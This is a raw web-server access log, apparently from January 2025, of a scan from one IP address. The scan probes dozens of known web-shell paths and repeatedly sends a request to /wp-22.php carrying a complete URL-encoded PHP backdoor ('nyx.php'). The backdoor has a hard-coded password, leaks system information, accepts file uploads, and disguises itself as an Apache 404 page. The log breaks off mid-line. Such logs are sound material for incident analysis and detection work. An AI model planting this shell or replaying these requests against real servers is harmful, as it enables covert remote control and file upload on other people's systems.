/wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:09 +0530] "GET /10.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:10 +0530] "GET /mailer.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:10 +0530] "GET /wp-content/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 263 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:11 +0530] "GET /6.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:11 +0530] "GET /87.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:11 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:11 +0530] "GET /wp-content/images/wolf-shell.php HTTP/1.1" 302 252 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:11 +0530] "GET /templates/beez_20/index.php HTTP/1.1" 302 247 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:12 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:12 +0530] "GET /wp-admin/js/widgets/wp-login.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:12 +0530] "GET /wp-content/bala.php HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:14 +0530] "GET /gank.php.PhP HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:15 +0530] "GET /xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:15 +0530] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 302 272 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:15 +0530] "GET /8index.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:15 +0530] "GET /1337.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:17 +0530] "GET /wp-admin/js/widgets/wp-contact.php HTTP/1.1" 302 254 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:17 +0530] "GET /wp-admin/includes/maint/wp-readindex.php HTTP/1.1" 302 260 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:17 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:18 +0530] "GET /wp-includes/sys.php HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:19 +0530] "GET /wp-includes/images/wlw/wp-signup.php HTTP/1.1" 302 256 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:21 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:21 +0530] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 302 258 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:23 +0530] "GET /.well-known/radio.php HTTP/1.1" 302 241 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:23 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:23 +0530] "GET /upel.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:23 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:23 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:23 +0530] "GET /gel4y.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:23 +0530] "GET /templates/+theme+/error.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:24 +0530] "GET /wp-includes/widgets/class-wp-widget-tags.php HTTP/1.1" 302 264 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:24 +0530] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 302 266 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:25 +0530] "GET /wikindex.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:25 +0530] "GET /wp-includes/css/class.enhanced.php HTTP/1.1" 302 254 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:26 +0530] "GET /wp-content/uploads/jcjjjjcjjc.php HTTP/1.1" 302 253 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:26 +0530] "GET /x.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:27 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:27 +0530] "GET /alfa123.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:28 +0530] "GET /wp-admin/includes/class-wp-pagebuilders-2myLvx.php HTTP/1.1" 302 270 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:28 +0530] "GET /Marvins.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:29 +0530] "GET /ne.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:29 +0530] "GET /wp-includes/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 264 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:29 +0530] "GET /.alf.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:29 +0530] "GET /01.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:30 +0530] "GET 